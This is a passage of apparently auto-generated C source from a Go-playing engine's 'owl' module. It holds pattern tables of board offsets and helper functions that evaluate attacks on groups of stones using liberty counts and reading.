{0,1,3}, {1,2,3}, {1,0,0}, {0,-1,0}, {1,-1,0}}; static struct patval owl_attackpat237[] = { {0,2,1}, {0,0,1}, {1,0,2}, {1,1,2}, {1,2,3}, {0,1,0}, {0,-1,0}, {1,-1,0}}; static struct patval owl_attackpat238[] = { {-1,-1,1}, {0,0,1}, {-1,1,1}, {0,2,1}, {1,2,1}, {1,1,2}, {1,0,2}, {-1,0,3}, {0,1,0}, {0,-1,0}, {1,-1,0}}; static struct patval owl_attackpat239[] = { {0,2,1}, {-1,0,1}, {-1,1,1}, {0,-1,1}, {0,0,2}, {0,1,0}, {-1,-1,0}, {1,-1,0}, {1,0,0}, {1,1,0}, {1,2,0}}; static struct patval owl_attackpat240[] = { {0,1,1}, {-1,0,1}, {1,2,1}, {0,0,1}, {-1,-1,2}, {2,2,3}, {1,0,0}, {1,1,0}, {1,-1,0}, {2,-1,0}, {2,0,0}, {2,1,0}, {0,-1,0}}; static struct patval owl_attackpat241[] = { {0,0,1}, {-1,1,2}, {0,-1,3}, {-1,3,4}, {0,3,4}, {0,2,4}, {-1,2,4}, {0,1,0}, {-1,-2,0}, {0,-2,0}, {1,-2,0}, {1,-1,0}, {1,0,0}, {1,1,0}, {1,2,0}, {1,3,0}, {2,-2,0}, {2,-1,0}, {2,0,0}, {2,1,0}, {2,2,0}, {2,3,0}}; static struct patval owl_attackpat242[] = { {-1,0,1}, {0,0,1}, {0,1,2}, {-1,-2,3}, {1,1,4}, {-1,-1,0}, {0,-2,0}, {1,-2,0}, {1,-1,0}, {1,0,0}, {0,-1,0}}; static struct patval owl_attackpat243[] = { {0,0,1}, {-2,0,1}, {-1,1,1}, {-2,1,2}, {0,2,2}, {-2,-1,0}, {0,-1,0}, {-1,0,0}, {0,1,0}, {-1,-1,0}, {1,-1,0}, {1,0,0}, {1,1,0}, {1,2,0}}; static struct patval owl_attackpat244[] = { {1,2,1}, {0,0,1}, {0,1,1}, {2,2,1}, {2,1,2}, {1,1,0}, {0,-1,0}, {2,-1,0}, {2,0,0}, {1,-1,0}, {1,0,0}}; static struct patval owl_attackpat245[] = { {0,0,1}, {0,1,1}, {-1,1,1}, {1,2,2}, {0,2,2}, {-1,0,0}, {0,-1,0}, {1,-1,0}, {1,0,0}, {1,1,0}, {-1,-1,0}}; static struct patval owl_attackpat246[] = { {0,0,1}, {1,1,1}, {-1,1,1}, {0,1,1}, {1,0,2}, {0,2,2}, {1,2,2}, {0,-1,0}, {-1,-1,0}, {-1,0,0}, {1,-1,0}}; static struct patval owl_attackpat247[] = { {1,0,1}, {-1,-1,1}, {0,0,1}, {-1,0,2}, {1,1,3}, {0,-1,0}, {1,-2,0}, {1,-1,0}, {-1,-2,0}, {0,-2,0}, {2,-2,0}, {2,-1,0}, {2,0,0}, {2,1,0}}; static struct patval owl_attackpat248[] = { {0,2,1}, {-1,1,1}, {1,2,1}, {-1,2,2}, {0,0,2}, {-1,0,0}, {1,0,0}, {1,1,0}, {0,1,0}, {2,0,0}, {2,1,0}, {2,2,0}}; static struct patval owl_attackpat249[] = { {1,0,1}, {-1,-1,1}, {1,-2,1}, {0,0,1}, {-1,0,2}, {0,-2,2}, {1,1,3}, {0,-1,0}, {-1,-2,0}, {1,-1,0}, {2,-2,0}, {2,-1,0}, {2,0,0}, {2,1,0}}; static struct patval owl_attackpat250[] = { {-1,-1,1}, {0,1,1}, {0,0,1}, {0,-1,2}, {1,0,2}, {1,-1,0}, {1,1,0}}; static struct patval owl_attackpat251[] = { {-1,-1,1}, {0,1,1}, {0,0,1}, {1,0,2}, {1,-1,0}, {0,-1,0}, {1,1,0}}; static struct patval owl_attackpat252[] = { {-1,-2,1}, {0,0,1}, {-1,0,1}, {0,-2,0}, {0,-1,0}, {-1,-1,0}, {1,-2,0}, {1,-1,0}, {1,0,0}}; static struct patval owl_attackpat253[] = { {0,-1,1}, {0,0,1}, {1,1,1}, {2,1,1}, {0,1,2}, {1,0,0}, {2,-1,0}, {2,0,0}, {1,-1,0}, {3,-1,0}, {3,0,0}, {3,1,0}}; static struct patval owl_attackpat254[] = { {0,0,1}, {-1,1,2}, {-2,0,2}, {-3,-1,4}, {-3,-2,4}, {-2,1,0}, {-2,2,0}, {-1,-2,0}, {-1,-1,0}, {-1,0,0}, {-2,-1,0}, {-1,2,0}, {0,-2,0}, {0,-1,0}, {-2,-2,0}, {0,1,0}, {0,2,0}, {1,-2,0}, {1,-1,0}, {1,0,0}, {1,1,0}, {1,2,0}, {2,-2,0}, {2,-1,0}, {2,0,0}, {2,1,0}, {2,2,0}}; static struct patval owl_attackpat255[] = { {1,-1,1}, {2,0,1}, {1,1,1}, {0,0,1}, {-1,0,2}, {-1,1,2}, {-1,-1,2}, {0,2,0}, {-1,2,0}, {1,0,0}, {0,1,0}, {1,2,0}, {0,-1,0}, {2,1,0}, {2,2,0}}; static struct patval owl_attackpat256[] = { {0,0,1}, {-1,1,1}, {1,0,2}, {1,1,2}, {0,2,2}, {2,-2,4}, {2,-1,4}, {-1,-1,0}, {-1,-2,0}, {-1,2,0}, {0,-2,0}, {0,-1,0}, {-2,0,0}, {0,1,0}, {-1,0,0}, {1,-2,0}, {1,-1,0}, {-2,-2,0}, {-2,-1,0}, {1,2,0}, {-2,1,0}, {-2,2,0}}; static struct patval owl_attackpat257[] = { {-1,1,1}, {0,0,1}, {1,-1,1}, {1,0,2}, {1,1,2}, {-1,2,2}, {0,2,2}, {2,-2,4}, {3,-2,4}, {3,-1,4}, {2,-1,4}, {-1,0,0}, {-2,-1,0}, {0,1,0}, {0,-1,0}, {1,-2,0}, {0,-2,0}, {-1,-1,0}, {-2,-2,0}, {1,2,0}, {-2,0,0}, {-2,1,0}, {-2,2,0}, {-1,-2,0}}; static struct patval owl_attackpat258[] = { {0,0,1}, {-1,-1,1}, {1,1,1}, {0,-2,3}, {-1,-2,3}, {2,1,3}, {2,0,3}, {1,0,4}, {0,-1,4}, {2,-2,0}, {2,-1,0}, {1,-1,0}, {1,-2,0}}; static struct patval owl_attackpat259[] = { {-1,-1,1}, {0,0,1}, {0,-1,2}, {2,-1,2}, {1,0,2}, {1,1,3}, {2,1,3}, {2,0,4}, {1,-1,0}}; static struct patval owl_attackpat260[] = { {-1,-1,1}, {-1,0,1}, {1,-1,1}, {0,0,1}, {0,1,1}, {1,1,1}, {1,0,2}, {2,1,2}, {2,-1,2}, {2,0,4}, {0,-1,0}}; static struct patval owl_attackpat261[] = { {0,1,1}, {-1,0,1}, {0,-1,1}, {0,0,2}, {1,1,2}, {1,-1,2}, {1,0,0}, {-1,-1,0}}; static struct patval owl_attackpat262[] = { {2,0,1}, {0,0,1}, {1,2,1}, {1,-1,2}, {2,2,3}, {0,-1,3}, {0,1,3}, {2,-1,0}, {1,1,0}, {2,1,0}, {1,0,0}}; static struct patval owl_attackpat263[] = { {-2,-1,1}, {-2,0,1}, {-2,1,1}, {1,2,1}, {0,2,1}, {0,-1,1}, {-1,2,1}, {0,1,2}, {0,0,2}, {-1,1,0}, {-1,0,0}, {1,-1,0}, {1,0,0}, {1,1,0}, {-1,-1,0}}; static struct patval owl_attackpat264[] = { {-1,-1,1}, {-1,0,1}, {-1,1,1}, {0,-1,1}, {1,2,1}, {2,2,1}, {0,2,1}, {1,-1,1}, {1,1,2}, {1,0,2}, {0,0,2}, {0,1,0}, {2,0,0}, {2,1,0}, {2,-1,0}}; static struct patval owl_attackpat265[] = { {1,-1,1}, {0,0,1}, {-1,0,1}, {0,1,2}, {1,1,2}, {1,0,2}, {0,-2,0}, {1,-2,0}, {-1,-2,0}, {-1,-1,0}, {0,-1,0}}; static struct patval owl_attackpat266[] = { {1,0,1}, {0,1,1}, {-1,1,1}, {0,2,2}, {0,0,2}, {1,2,2}, {0,-1,0}, {-1,0,0}, {-1,-1,0}, {1,1,0}, {1,-1,0}}; static struct patval owl_attackpat267[] = { {0,-1,1}, {0,0,1}, {0,1,1}, {1,2,1}, {2,0,1}, {2,1,2}, {0,2,2}, {1,1,0}, {2,-1,0}, {1,-1,0}, {1,0,0}, {2,2,0}}; static struct patval owl_attackpat268[] = { {-1,-1,1}, {-1,0,1}, {1,2,1}, {2,2,1}, {1,-1,1}, {0,1,1}, {1,1,2}, {0,0,2}, {1,0,2}, {0,2,3}, {-1,1,3}, {2,1,4}, {2,0,0}, {2,-1,0}, {0,-1,0}}; static struct patval owl_attackpat269[] = { {0,2,1}, {-1,1,1}, {1,1,1}, {2,2,1}, {0,0,1}, {-1,2,2}, {-2,1,2}, {2,1,2}, {-2,0,2}, {-1,0,2}, {1,2,3}, {-2,2,4}, {1,0,0}, {0,1,0}, {2,0,0}}; static struct patval owl_attackpat270[] = { {0,2,1}, {-1,1,1}, {0,0,1}, {-1,2,3}, {1,2,3}, {-1,0,3}, {1,0,0}, {1,1,0}, {0,1,0}}; static struct patval owl_attackpat271[] = { {-1,-1,1}, {0,1,1}, {-1,1,1}, {1,2,1}, {0,0,2}, {0,2,3}, {0,-1,0}, {-1,0,0}, {1,0,0}, {1,1,0}, {1,-1,0}}; static struct patval owl_attackpat272[] = { {-2,1,1}, {-1,0,1}, {1,0,1}, {-1,2,1}, {0,0,1}, {0,1,0}, {0,2,0}, {-1,1,0}, {1,1,0}, {1,2,0}, {2,0,0}, {2,1,0}, {2,2,0}}; static struct patval owl_attackpat273[] = { {1,0,1}, {-2,-1,1}, {1,-1,1}, {-1,0,1}, {0,0,1}, {2,-1,2}, {-2,0,2}, {-1,-2,0}, {0,-2,0}, {1,-2,0}, {-1,-1,0}, {-2,-2,0}, {2,-2,0}, {0,-1,0}}; static struct patval owl_attackpat274[] = { {0,1,1}, {0,0,1}, {-1,0,3}, {-1,-2,3}, {1,1,3}, {-1,-1,3}, {0,-2,0}, {1,-2,0}, {1,-1,0}, {1,0,0}, {0,-1,0}}; static struct patval owl_attackpat275[] = { {0,-1,1}, {0,0,1}, {0,1,1}, {1,-1,1}, {1,2,2}, {1,1,0}, {1,0,0}}; static struct patval owl_attackpat276[] = { {0,0,1}, {-1,-1,1}, {0,1,2}, {-1,1,2}, {1,1,2}, {0,-1,0}, {0,-2,0}, {-1,-2,0}, {1,-2,0}, {1,-1,0}, {1,0,0}, {-1,0,0}}; static struct patval owl_attackpat277[] = { {-1,1,1}, {0,0,1}, {0,-1,1}, {-1,2,3}, {1,-1,3}, {0,2,3}, {0,1,0}, {1,0,0}, {1,1,0}, {1,2,0}}; static struct patval owl_attackpat278[] = { {1,0,1}, {0,0,1}, {2,-1,1}, {2,-2,2}, {-1,-1,3}, {-1,-2,3}, {1,-1,0}, {1,-2,0}, {0,-1,0}, {0,-2,0}}; static struct patval owl_attackpat279[] = { {1,-1,1}, {-2,0,1}, {1,1,1}, {0,1,1}, {-1,1,1}, {0,0,1}, {0,-1,2}, {-1,-1,2}, {-2,-1,3}, {-1,0,3}, {1,0,0}}; static struct patval owl_attackpat280[] = { {0,0,1}, {0,1,0}, {0,2,0}, {0,3,0}, {1,0,0}, {1,1,0}, {1,2,0}, {1,3,0}, {2,0,0}, {2,1,0}, {2,2,0}, {2,3,0}, {3,0,0}, {3,1,0}, {3,2,0}, {3,3,0}}; static struct patval owl_attackpat281[] = { {0,0,1}, {0,-1,0}, {0,-2,0}, {0,1,0}, {0,2,0}, {1,-2,0}, {1,-1,0}, {1,0,0}, {1,1,0}, {1,2,0}, {2,-2,0}, {2,-1,0}, {2,0,0}, {2,1,0}, {2,2,0}, {3,-2,0}, {3,-1,0}, {3,0,0}, {3,1,0}, {3,2,0}}; static struct patval owl_attackpat282[] = { {0,0,1}, {-1,1,2}, {0,1,0}}; static struct patval owl_attackpat283[] = { {0,0,1}, {0,2,2}, {0,1,0}}; static struct patval owl_attackpat284[] = { {-1,1,1}, {-2,0,1}, {-1,-1,1}, {0,0,1}, {-2,-1,2}, {0,-1,2}, {1,0,2}, {0,1,2}, {-1,0,0}}; static struct patval owl_attackpat285[] = { {0,0,1}, {1,2,1}, {-1,1,3}, {-1,2,3}, {0,2,0}, {1,0,0}, {1,1,0}, {0,1,0}}; static struct patval owl_attackpat286[] = { {0,0,1}, {-1,-1,1}, {1,-1,1}, {-1,0,2}, {0,1,2}, {-1,-2,0}, {0,-1,0}, {1,-2,0}, {0,-2,0}, {1,0,0}}; static struct patval owl_attackpat287[] = { {0,0,1}, {-1,-1,1}, {1,0,1}, {0,1,2}, {-1,0,2}, {-1,-2,0}, {0,-2,0}, {1,-2,0}, {1,-1,0}, {0,-1,0}}; static struct patval owl_attackpat288[] = { {0,-1,1}, {0,0,1}, {1,1,1}, {2,0,1}, {1,2,2}, {1,-2,2}, {0,1,2}, {1,-1,0}, {2,-2,0}, {2,-1,0}, {1,0,0}, {2,1,0}}; static struct patval owl_attackpat289[] = { {0,-1,1}, {0,0,1}, {2,1,1}, {1,1,1}, {0,1,2}, {1,2,2}, {1,-2,2}, {1,0,0}, {2,-2,0}, {2,-1,0}, {2,0,0}, {1,-1,0}}; static struct patval owl_attackpat290[] = { {-1,-2,1}, {-1,-1,1}, {0,0,1}, {1,-1,1}, {0,1,2}, {-1,0,2}, {0,-1,0}, {1,-2,0}, {0,-2,0}, {1,0,0}}; static struct patval owl_attackpat291[] = { {-1,-2,1}, {-1,-1,1}, {1,0,1}, {0,0,1}, {-1,0,2}, {0,1,2}, {0,-2,0}, {1,-2,0}, {1,-1,0}, {0,-1,0}}; static struct patval owl_attackpat292[] = { {-1,-2,1}, {-1,-1,1}, {1,-1,1}, {0,0,1}, {1,1,2}, {0,1,2}, {-1,0,2}, {1,-2,0}, {0,-2,0}, {1,0,0}, {0,-1,0}}; static struct patval owl_attackpat293[] = { {2,0,1}, {0,-1,1}, {0,0,1}, {1,1,1}, {1,2,2}, {2,2,2}, {0,1,2}, {0,-2,3}, {1,0,0}, {2,-2,0}, {2,-1,0}, {1,-2,0}, {2,1,0}, {1,-1,0}}; static struct patval owl_attackpat294[] = { {0,2,1}, {0,0,1}, {-1,1,1}, {1,-1,1}, {0,-2,2}, {-1,0,2}, {1,-2,2}, {-1,-1,2}, {0,1,0}, {0,-1,0}, {1,0,0}, {1,1,0}, {1,2,0}}; static struct patval owl_attackpat295[] = { {1,-2,1}, {0,-1,1}, {0,0,1}, {0,1,1}, {2,-1,1}, {1,2,2}, {0,-2,2}, {1,1,0}, {1,-1,0}, {2,-2,0}, {1,0,0}, {2,0,0}, {2,1,0}, {2,2,0}}; static struct patval owl_attackpat296[] = { {1,-2,1}, {0,-1,1}, {0,0,1}, {0,1,1}, {1,2,1}, {0,-2,2}, {1,3,2}, {0,2,3}, {1,1,0}, {1,0,0}, {1,-1,0}, {2,-2,0}, {2,-1,0}, {2,0,0}, {2,1,0}, {2,2,0}, {2,3,0}}; static struct patval owl_attackpat297[] = { {1,1,1}, {-1,1,1}, {0,0,1}, {0,2,1}, {1,3,2}, {0,1,0}, {1,0,0}, {-1,0,0}, {1,2,0}, {0,3,0}}; static struct patval owl_attackpat298[] = { {-1,0,1}, {-1,1,1}, {0,-1,1}, {1,0,1}, {1,2,1}, {0,0,2}, {1,-1,2}, {0,2,3}, {1,1,0}, {0,1,0}}; static int autohelperowl_attackpat0(struct pattern *patt, int transformation, int move, int color, int action) { int A; UNUSED(patt); UNUSED(color); UNUSED(action); A = offset(0, 1, move, transformation); return countlib(A)<4; } static int autohelperowl_attackpat6(struct pattern *patt, int transformation, int move, int color, int action) { int a; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(0, 2, move, transformation); return countlib(a)>2; } static int autohelperowl_attackpat11(struct pattern *patt, int transformation, int move, int color, int action) { int a, b; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(-1, -1, move, transformation); b = offset(-1, 1, move, transformation); return (somewhere(color, 0, a) || !somewhere(color, 0, b)); } static int autohelperowl_attackpat14(struct pattern *patt, int transformation, int move, int color, int action) { int A; UNUSED(patt); UNUSED(color); UNUSED(action); A = offset(-1, 1, move, transformation); return countlib(A)>2; } static int autohelperowl_attackpat17(struct pattern *patt, int transformation, int move, int color, int action) { int a, b; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(-1, -2, move, transformation); b = offset(0, -2, move, transformation); return somewhere(color, 1, a, b); } static int autohelperowl_attackpat18(struct pattern *patt, int transformation, int move, int color, int action) { int a, b, c; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(-1, 0, move, transformation); b = offset(-2, 0, move, transformation); c = offset(-2, -2, move, transformation); return play_attack_defend_n(color, 1, 2, move, a, a) || !play_attack_defend_n(color, 1, 4, move, a, b, c, move); } static int autohelperowl_attackpat29(struct pattern *patt, int transformation, int move, int color, int action) { int a; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(-1, -1, move, transformation); return countlib(a)>2; } static int autohelperowl_attackpat30(struct pattern *patt, int transformation, int move, int color, int action) { int a; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(0, 2, move, transformation); return owl_escape_value(a)>0; } static int autohelperowl_attackpat32(struct pattern *patt, int transformation, int move, int color, int action) { int A; UNUSED(patt); UNUSED(color); UNUSED(action); A = offset(1, -1, move, transformation); return countlib(A)>1; } static int autohelperowl_attackpat35(struct pattern *patt, int transformation, int move, int color, int action) { int a; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(0, -1, move, transformation); return !play_attack_defend_n(color, 1, 2, move, a, move); } static int autohelperowl_attackpat37(struct pattern *patt, int transformation, int move, int color, int action) { int a; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(-1, 0, move, transformation); return countlib(a)==2; } static int autohelperowl_attackpat38(struct pattern *patt, int transformation, int move, int color, int action) { int a, b, c; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(-1, 0, move, transformation); b = offset(0, -1, move, transformation); c = offset(-1, -1, move, transformation); return !play_attack_defend2_n(OTHER_COLOR(color), 0, 3, move, b, c, a, b); } static int autohelperowl_attackpat40(struct pattern *patt, int transformation, int move, int color, int action) { int a, b, c, d, e, f, A; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(-2, -1, move, transformation); b = offset(-2, -2, move, transformation); c = offset(-1, 0, move, transformation); d = offset(0, 1, move, transformation); e = offset(0, -2, move, transformation); f = offset(1, 0, move, transformation); A = offset(-1, -2, move, transformation); return (accurate_approxlib(a, OTHER_COLOR(color), MAX_LIBERTIES, NULL)==1 || countlib(b)>2) && countlib(A)<=3 && accurate_approxlib(e,color, MAX_LIBERTIES, NULL)>1&& play_attack_defend_n(color, 1, 6, move, c, a, d, e, f, A)&& play_attack_defend_n(color, 0, 4, move, c, a, e, move); } static int autohelperowl_attackpat41(struct pattern *patt, int transformation, int move, int color, int action) { int a, b, c, d; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(-1, 0, move, transformation); b = offset(-2, 0, move, transformation); c = offset(-2, 1, move, transformation); d = offset(-1, 1, move, transformation); return (owl_escape_value(b) <= 0 && owl_escape_value(c) <= 0) || !play_attack_defend_n(color, 1, 2, move, a, d); } static int autohelperowl_attackpat42(struct pattern *patt, int transformation, int move, int color, int action) { int a; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(-2, 0, move, transformation); return owl_escape_value(a) < 1; } static int autohelperowl_attackpat44(struct pattern *patt, int transformation, int move, int color, int action) { int a, B; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(0, -1, move, transformation); B = offset(-1, 0, move, transformation); return countlib(B)<=3 && play_attack_defend_n(color, 1, 2, move, a, B); } static int autohelperowl_attackpat45(struct pattern *patt, int transformation, int move, int color, int action) { int a; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(-1, 0, move, transformation); return play_attack_defend_n(color, 1, 2, move, a, a); } static int autohelperowl_attackpat47(struct pattern *patt, int transformation, int move, int color, int action) { int a, b, C; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(0, -1, move, transformation); b = offset(-1, -1, move, transformation); C = offset(-1, 0, move, transformation); return play_attack_defend_n(OTHER_COLOR(color), 1, 2, move, a, C) || !play_attack_defend2_n(OTHER_COLOR(color), 0, 3, move, a, b, a, C); } static int autohelperowl_attackpat48(struct pattern *patt, int transformation, int move, int color, int action) { int a; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(0, 1, move, transformation); return owl_escape_value(a)>0; } static int autohelperowl_attackpat49(struct pattern *patt, int transformation, int move, int color, int action) { int a, b; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(0, 1, move, transformation); b = offset(1, 0, move, transformation); return owl_escape_value(a)>0 && !play_attack_defend_n(color, 1, 3, move, a, b, move); } static int autohelperowl_attackpat50(struct pattern *patt, int transformation, int move, int color, int action) { int a; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(0, 1, move, transformation); return play_attack_defend_n(OTHER_COLOR(color), 1, 1, move, a); } static int autohelperowl_attackpat51(struct pattern *patt, int transformation, int move, int color, int action) { int a, b, c; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(-1, -2, move, transformation); b = offset(0, -2, move, transformation); c = offset(-1, -1, move, transformation); return owl_escape_value(a) + owl_escape_value(b) + owl_escape_value(c) > 0; } static int autohelperowl_attackpat52(struct pattern *patt, int transformation, int move, int color, int action) { int a, b; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(-1, -2, move, transformation); b = offset(-1, -1, move, transformation); return owl_escape_value(a) + owl_escape_value(b) > 0; } static int autohelperowl_attackpat53(struct pattern *patt, int transformation, int move, int color, int action) { int a, b; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(-1, -1, move, transformation); b = offset(-1, 0, move, transformation); return owl_escape_value(a) + owl_escape_value(b) > 0; } static int autohelperowl_attackpat54(struct pattern *patt, int transformation, int move, int color, int action) { int a; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(-1, 0, move, transformation); return owl_escape_value(a) > 0; } static int autohelperowl_attackpat55(struct pattern *patt, int transformation, int move, int color, int action) { int a, b; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(0, -2, move, transformation); b = offset(1, -2, move, transformation); return owl_escape_value(a)+owl_escape_value(b) > 0; } static int autohelperowl_attackpat57(struct pattern *patt, int transformation, int move, int color, int action) { int a, b, c; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(-1, 0, move, transformation); b = offset(-1, 1, move, transformation); c = offset(0, 1, move, transformation); return play_attack_defend_n(color, 1, 4, move, a, b, c, c); } static int autohelperowl_attackpat60(struct pattern *patt, int transformation, int move, int color, int action) { int A; UNUSED(patt); UNUSED(color); UNUSED(action); A = offset(-1, 2, move, transformation); return !owl_goal_dragon(A); } static int autohelperowl_attackpat63(struct pattern *patt, int transformation, int move, int color, int action) { int a, b; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(-1, 0, move, transformation); b = offset(-1, -1, move, transformation); return play_attack_defend2_n(color, 0, 2, move, a, move, b) && !play_attack_defend_n(color, 1, 2, move, a, b); } static int autohelperowl_attackpat64(struct pattern *patt, int transformation, int move, int color, int action) { int a, b; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(-1, 0, move, transformation); b = offset(-1, -1, move, transformation); return play_attack_defend2_n(color, 0, 2, move, a, move, b); } static int autohelperowl_attackpat65(struct pattern *patt, int transformation, int move, int color, int action) { int a; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(0, -1, move, transformation); return countlib(a)<=2 || accurate_approxlib(move, OTHER_COLOR(color), MAX_LIBERTIES, NULL)>2; } static int autohelperowl_attackpat66(struct pattern *patt, int transformation, int move, int color, int action) { int a, b, c, d, A; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(1, -1, move, transformation); b = offset(0, -1, move, transformation); c = offset(0, -2, move, transformation); d = offset(1, 0, move, transformation); A = offset(1, -2, move, transformation); return play_attack_defend2_n(color, 0, 4, move, a, b, c, A, b) && play_attack_defend2_n(color, 0, 4, move, b, a, d, move, A); } static int autohelperowl_attackpat68(struct pattern *patt, int transformation, int move, int color, int action) { int a, b; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(-2, 0, move, transformation); b = offset(-1, -1, move, transformation); return (owl_escape_value(a)>0)||(owl_escape_value(b)>0); } static int autohelperowl_attackpat69(struct pattern *patt, int transformation, int move, int color, int action) { int a; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(-2, 0, move, transformation); return owl_escape_value(a)>0; } static int autohelperowl_attackpat70(struct pattern *patt, int transformation, int move, int color, int action) { int a, b, c, d, e; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(-1, 1, move, transformation); b = offset(1, 1, move, transformation); c = offset(0, 1, move, transformation); d = offset(1, 0, move, transformation); e = offset(2, 0, move, transformation); return owl_escape_value(a)>0 && (play_attack_defend_n(OTHER_COLOR(color), 1, 4, b, c, move, d, d) || !play_attack_defend_n(OTHER_COLOR(color), 0, 4, move, b, d, e, e)); } static int autohelperowl_attackpat72(struct pattern *patt, int transformation, int move, int color, int action) { int a, b, c, d, e; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(2, 0, move, transformation); b = offset(2, 1, move, transformation); c = offset(3, 0, move, transformation); d = offset(3, 1, move, transformation); e = offset(0, -1, move, transformation); return somewhere(color, 3, a, b, c, d) && owl_escape_value(e) > 0; } static int autohelperowl_attackpat73(struct pattern *patt, int transformation, int move, int color, int action) { int a, b, c; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(-1, 0, move, transformation); b = offset(-1, 1, move, transformation); c = offset(-1, 2, move, transformation); return owl_escape_value(a) + owl_escape_value(b) + owl_escape_value(c) > 0; } static int autohelperowl_attackpat74(struct pattern *patt, int transformation, int move, int color, int action) { int a; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(-1, 0, move, transformation); return owl_escape_value(a)>0; } static int autohelperowl_attackpat75(struct pattern *patt, int transformation, int move, int color, int action) { int a, b, c, d, e, f, g, h, i, j; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(-2, 0, move, transformation); b = offset(2, -1, move, transformation); c = offset(2, 0, move, transformation); d = offset(-1, 2, move, transformation); e = offset(-1, 3, move, transformation); f = offset(-1, 4, move, transformation); g = offset(0, 2, move, transformation); h = offset(0, 3, move, transformation); i = offset(0, 4, move, transformation); j = offset(1, -1, move, transformation); return owl_escape_value(a)>0 && somewhere(color, 2, b, c, j) && somewhere(color, 5, d, e, f, g, h, i); } static int autohelperowl_attackpat76(struct pattern *patt, int transformation, int move, int color, int action) { int a, b; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(-1, 0, move, transformation); b = offset(-1, -1, move, transformation); return owl_escape_value(a) + owl_escape_value(b) > 0; } static int autohelperowl_attackpat77(struct pattern *patt, int transformation, int move, int color, int action) { int a, b, c, d, e, f, g, h, i, j, k; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(0, -3, move, transformation); b = offset(0, -2, move, transformation); c = offset(1, -3, move, transformation); d = offset(1, -2, move, transformation); e = offset(-1, -1, move, transformation); f = offset(0, 2, move, transformation); g = offset(0, 3, move, transformation); h = offset(1, 2, move, transformation); i = offset(1, 3, move, transformation); j = offset(2, 2, move, transformation); k = offset(2, 3, move, transformation); return somewhere(color, 3, a, b, c, d) && owl_escape_value(e)>0 && somewhere(color, 5, f, g, h, i, j, k); } static int autohelperowl_attackpat78(struct pattern *patt, int transformation, int move, int color, int action) { int b, c, A; UNUSED(patt); UNUSED(color); UNUSED(action); b = offset(1, 0, move, transformation); c = offset(1, 1, move, transformation); A = offset(1, -1, move, transformation); return owl_escape_value(A)>0 && play_attack_defend2_n(color, 0, 2, move, b, move, c); } static int autohelperowl_attackpat80(struct pattern *patt, int transformation, int move, int color, int action) { int a, b, c; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(2, -1, move, transformation); b = offset(2, 0, move, transformation); c = offset(2, 1, move, transformation); return owl_escape_value(a) + owl_escape_value(b) + owl_escape_value(c) > 0; } static int autohelperowl_attackpat81(struct pattern *patt, int transformation, int move, int color, int action) { int A; UNUSED(patt); UNUSED(color); UNUSED(action); A = offset(0, 2, move, transformation); return countlib(A)>1; } static int autohelperowl_attackpat82(struct pattern *patt, int transformation, int move, int color, int action) { int c, d, A, B; UNUSED(patt); UNUSED(color); UNUSED(action); c = offset(-1, 0, move, transformation); d = offset(-1, 1, move, transformation); A = offset(-1, -1, move, transformation); B = offset(0, 1, move, transformation); return (owl_escape_value(A)>0 || owl_escape_value(B)>0) && play_attack_defend2_n(color, 0, 2, move, c, move, d); } static int autohelperowl_attackpat83(struct pattern *patt, int transformation, int move, int color, int action) { int a, b, c, d, e; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(-1, 0, move, transformation); b = offset(0, -2, move, transformation); c = offset(-1, -2, move, transformation); d = offset(0, -1, move, transformation); e = offset(1, -1, move, transformation); return owl_escape_value(e)>0 && !play_attack_defend2_n(OTHER_COLOR(color), 0, 3, move, a, b, c, d); } static int autohelperowl_attackpat84(struct pattern *patt, int transformation, int move, int color, int action) { int a, b; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(-2, -1, move, transformation); b = offset(-1, -1, move, transformation); return owl_escape_value(a)>0 || owl_escape_value(b)>0; } static int autohelperowl_attackpat86(struct pattern *patt, int transformation, int move, int color, int action) { int a; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(0, -1, move, transformation); return ATTACK_MACRO(a); } static int autohelperowl_attackpat93(struct pattern *patt, int transformation, int move, int color, int action) { int b, A; UNUSED(patt); UNUSED(color); UNUSED(action); b = offset(-1, 0, move, transformation); A = offset(-1, -1, move, transformation); return countlib(A)<=3 && accurate_approxlib(b, OTHER_COLOR(color), MAX_LIBERTIES, NULL) <= 2 && play_attack_defend_n(color, 1, 2, move, b, b); } static int autohelperowl_attackpat95(struct pattern *patt, int transformation, int move, int color, int action) { int a, B; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(0, 1, 